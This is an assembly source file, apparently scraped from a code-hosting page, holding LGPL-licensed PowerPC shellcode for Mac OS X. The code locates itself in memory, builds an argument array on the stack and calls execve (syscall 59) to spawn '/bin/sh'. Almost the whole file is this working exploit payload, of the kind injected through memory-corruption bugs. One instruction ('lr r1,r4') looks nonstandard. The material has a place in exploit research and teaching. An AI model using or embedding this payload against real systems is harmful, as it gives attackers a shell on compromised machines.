40 lines
1.1 KiB
ArmAsm
40 lines
1.1 KiB
ArmAsm
|
/*
|
||
|
* osx-ppc-shellcode.s
|
||
|
* Copyright 2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||
|
*
|
||
|
* This library is free software; you can redistribute it and/or
|
||
|
* modify it under the terms of the GNU Lesser General Public
|
||
|
* License as published by the Free Software Foundation; either
|
||
|
* version 2.1 of the License, or (at your option) any later version.
|
||
|
*
|
||
|
* This library is distributed in the hope that it will be useful,
|
||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||
|
* Lesser General Public License for more details.
|
||
|
*
|
||
|
* You should have received a copy of the GNU Lesser General Public
|
||
|
* License along with this library; if not, write to the Free Software
|
||
|
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
.global _start
|
||
|
|
||
|
_start:
|
||
|
|
||
|
# 00 bytes
|
||
|
|
||
|
shellcode:
|
||
|
xor. r5,r5,r5
|
||
|
bnel shellcode
|
||
|
mflr r31
|
||
|
addi r3,r31,32
|
||
|
stwu r5,-4(r1)
|
||
|
stwu r3,-4(r1)
|
||
|
lr r1,r4
|
||
|
li r0,59
|
||
|
sc
|
||
|
|
||
|
.asciiz "/bin/sh"
|
||
|
|